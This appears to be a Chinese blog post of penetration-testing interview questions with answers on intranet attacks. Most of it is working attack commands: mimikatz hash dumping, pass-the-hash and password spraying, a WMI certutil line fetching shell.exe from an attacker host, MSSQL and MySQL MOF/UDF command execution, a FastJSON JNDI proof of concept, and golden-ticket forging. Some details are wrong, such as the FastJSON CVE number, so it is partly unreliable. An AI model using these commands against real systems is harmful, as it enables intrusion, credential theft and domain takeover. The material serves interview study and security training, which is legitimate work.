2025年渗透测试面试题总结-97(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[1. 仅通过CMD确认目标服务器可登录性](#1. 仅通过CMD确认目标服务器可登录性)

[2. MySQL+PHP+Windows环境注入效率优化](#2. MySQL+PHP+Windows环境注入效率优化)

[3. mimikatz提取Hash的进程](#3. mimikatz提取Hash的进程)

[4. 内网定位域控的10种方法](#4. 内网定位域控的10种方法)

[5. 非域环境定位域控](#5. 非域环境定位域控)

[6. 内网横向移动5大方法](#6. 内网横向移动5大方法)

[7. 未破解Hash的利用方法](#7. 未破解Hash的利用方法)

[8. 非常规端口GetShell方法](#8. 非常规端口GetShell方法)

[9. MSSQL禁用xp_cmdshell后的GetShell](#9. MSSQL禁用xp_cmdshell后的GetShell)

[10. MySQL MOF提权原理](#10. MySQL MOF提权原理)

[11. UDF提权原理与条件](#11. UDF提权原理与条件)

[12. FastJSON漏洞利用](#12. FastJSON漏洞利用)

[13. 黄金票据(Golden Ticket)详解](#13. 黄金票据(Golden Ticket)详解)

复制代码
1、内网环境如果只有cmd和目标服务器的账号密码,如何确认目标服务器是否能登陆
2、对于MySQL+PHP+Windows的环境,如果存在注入,如何提高注入效率
3、mimikatz是从哪个进程抓的hash
4、如何在内网环境中找到域控(至少10种方法)
5、已知一公司环境存在域控,如果不在域环境内,如何寻找域控
6、内网渗透横向扩展有那几种方法(至少5种)
7、内网中,如果拿到一台机器或者多台机器的hash,如果hash没有解出来,还有别的利用方法吗
8、除了通过445,3389,21,22,23,80,8080,3306端口上部署的服务拿权限外,还可以通过什么端口什么服务拿到目标机的权限
9、mssql开启xpcmd无法写文件,还有什么方法可以getshell
10、mysql的mof提权原理
11、udf提权原理和条件
12、fastjson利用过
13、黄金票据是

1. 仅通过CMD确认目标服务器可登录性

复制代码
bash`# Windows 系统 net use \\目标IP\C$ /user:用户名 "密码" # 尝试挂载C盘 systeminfo /s 目标IP /u 用户名 /p "密码" # 获取系统信息 # Linux 系统 (需安装rsh-client) rsh -l 用户名 目标IP "id" # 执行远程命令 `

判断依据:命令成功执行(返回0)且输出有效信息即证明可登录。


2. MySQL+PHP+Windows环境注入效率优化

  • 盲注加速

    复制代码
    sql`SELECT IF(ASCII(SUBSTR(database(),1,1))=115, BENCHMARK(5000000,MD5('x')),1)`
    • 利用BENCHMARK()制造时间延迟,减少请求次数
  • 批量提取

    • 使用GROUP_CONCAT()一次性获取所有表名/字段
    • 结合INTO OUTFILE直接导出数据(需写权限)
  • 工具自动化

    • sqlmap 参数:--threads 10 --batch --risk 3 --level 5

3. mimikatz提取Hash的进程

LSASS进程(Local Security Authority Subsystem Service)

  • 内存中存储明文密码/NTLM Hash
  • 执行命令:mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

4. 内网定位域控的10种方法

方法 命令/操作
1. DNS SRV记录查询 nslookup -type=SRV _ldap._tcp.dc._msdcs. 域名
2. NetBIOS扫描 nbtstat -A 目标IP
3. LDAP默认端口探测 telnet 目标IP 389
4. Kerberos端口探测 telnet 目标IP 88
5. 查询当前域控 net group "Domain Controllers" /domain
6. SMB服务标识 smbclient -L //目标IP/ -N
7. SPN扫描 setspn -T 域名 -Q */*
8. 组策略对象定位 gpresult /R 或检查 \\域名\SYSVOL
9. 时间服务源 w32tm /monitor
10. 活动目录站点拓扑 nltest /dsgetsite

5. 非域环境定位域控

  • DNS侦查

    复制代码
    bash`dig @DNS服务器IP 域名 axfr # 尝试区域传输 `
  • 端口扫描:扫描389(LDAP)、636(LDAPS)、88(Kerberos)、445(SMB)端口

  • LLMNR/NBNS毒化:工具Responder监听获取域控身份认证

  • SMB匿名枚举

    复制代码
    bash`crackmapexec smb 目标IP --shares -u '' -p ''`

6. 内网横向移动5大方法

  1. 密码喷射攻击

    • 工具:CrackMapExec
    复制代码
    bash`crackmapexec smb IP段 -u userlist.txt -p 'Password123!' `
  2. Pass-the-Hash (PtH)

    复制代码
    bash`psexec.py -hashes :NTLM_HASH 域名/用户@目标IP `
  3. 服务漏洞利用

    • MS17-010、MS08-067等永恒之蓝系列漏洞
  4. WMI远程执行

    复制代码
    powershell`wmic /node:目标IP process call create "cmd.exe /c certutil -urlcache -split -f http://攻击机/shell.exe" `
  5. 计划任务部署

    复制代码
    bash`schtasks /create /s 目标IP /u 域用户 /p 密码 /tn 任务名 /tr "C:\shell.exe" /sc once /st 00:00 `

7. 未破解Hash的利用方法

  • Pass-the-Hash (PtH)

    复制代码
    bash`mimikatz.exe "sekurlsa::pth /user:管理员 /domain:目标域 /ntlm:HASH"`
  • Overpass-the-Hash:将NTLM Hash转为Kerberos TGT

  • 约束委派攻击:利用服务账户Hash请求可转发票据


8. 非常规端口GetShell方法

端口 服务 利用方式
5985/5986 WinRM Evil-WinRM或Powershell Remoting
135 RPC DCOM横向移动(如MMC20.Application)
1433 MSSQL xp_cmdshell/CLR自动执行
5985 WMI wmiexec.py 执行命令
47001 Windows Remote Management 同WinRM

9. MSSQL禁用xp_cmdshell后的GetShell

  • CLR程序集

    复制代码
    sql`CREATE ASSEMBLY ExecCmd FROM 'C:\clr.dll' WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE sp_cmdExec @cmd NVARCHAR (MAX) AS EXTERNAL NAME ExecCmd.StoredProcedures.CmdExec; EXEC sp_cmdExec 'whoami';`
  • Agent Jobs提权

    复制代码
    sql`EXEC msdb.dbo.sp_add_job @job_name='GetShell'; EXEC msdb.dbo.sp_add_jobstep @job_name='GetShell', @command='powershell -e JABzAC...'; EXEC msdb.dbo.sp_start_job 'GetShell';`

10. MySQL MOF提权原理

  • 核心机制
    Windows每5秒检查C:\Windows\system32\wbem\mof\中的.mof文件并执行
  • 利用步骤
    1. 创建恶意MOF文件:

      复制代码
      c`#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "root\\cimv2"; Name = "filtP1"; Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime'"; QueryLanguage = "WQL"; }; instance of CommandLineEventConsumer as $Consumer { Name = "consP1"; RunInteractively=false; CommandLineTemplate="net user hacker P@ssw0rd /add"; };`
    2. 写入目标路径:

      复制代码
      sql`SELECT load_file('C:/shell.mof') INTO DUMPFILE 'C:/Windows/system32/wbem/mof/shell.mof'; `

11. UDF提权原理与条件

  • 原理
    加载自定义DLL创建执行系统命令的函数(如sys_exec()

  • 必要条件

    • MySQL有FILE权限(secure_file_priv为空)
    • 目标系统与DLL架构匹配(32/64位)
    • DLL存放路径有写权限(如plugin_dir
  • 利用流程

    复制代码
    sql`CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.dll'; SELECT sys_exec('cmd /c "net user > C:\\out.txt"'); `

12. FastJSON漏洞利用

  • 关键漏洞:反序列化时自动触发JNDI注入(CVE-2021-45046)
  • 利用步骤
    1. 启动恶意LDAP服务(工具:marshalsec)

      复制代码
      bash`java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://攻击机/#Exploit `
    2. 发送PoC请求:

      复制代码
      json`{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://恶意IP/Exploit", "autoCommit": true }`

13. 黄金票据(Golden Ticket)详解

复制代码
mermaid`graph LR A[获取krbtgt的NTLM Hash] --> B[伪造TGT] B --> C[添加任意用户到域管理员组] C --> D[访问域内任何资源]`
  • 制作条件

    • 域SID(whoami /user
    • krbtgt账户的AES-256或NTLM Hash
  • 生成命令

    复制代码
    bash`mimikatz.exe "kerberos::golden /user:伪造用户 /domain:域名 /sid:SID /krbtgt:Hash /ptt"`
  • 防御措施:启用LSA保护、定期重置krbtgt密码(每180天)


附:黄金票据 vs 白银票据

特性 黄金票据 白银票据
所需Hash krbtgt 服务账户(如CIFS$)
访问范围 全域资源 特定服务(如文件共享)
有效期 ≤10年(默认) ≤10小时(默认)
检测难度 极高 中等
相关推荐
H3C-Navigator5 小时前
HRPC在Polaris存储系统中的应用
网络·人工智能·ai-native
渡我白衣5 小时前
C++ 异常处理全解析:从语法到设计哲学
开发语言·c++·面试
꒰ঌ 安卓开发໒꒱5 小时前
Java面试-并发面试(一)
java·jvm·面试
无敌最俊朗@6 小时前
一条数据的 TCP 完整生命周期 (附报文详解)
网络
你的人类朋友6 小时前
HTTP为什么不安全?
安全·http·https
桃花猿7 小时前
网络IO基础知识
网络
王伯爵7 小时前
终端NCI
网络·5g
dog2507 小时前
TCP 的韧性:端网关系对传输协议的影响
网络·网络协议·tcp/ip
聪明的笨猪猪7 小时前
Java SE “面向对象”面试清单(含超通俗生活案例与深度理解)
java·经验分享·笔记·面试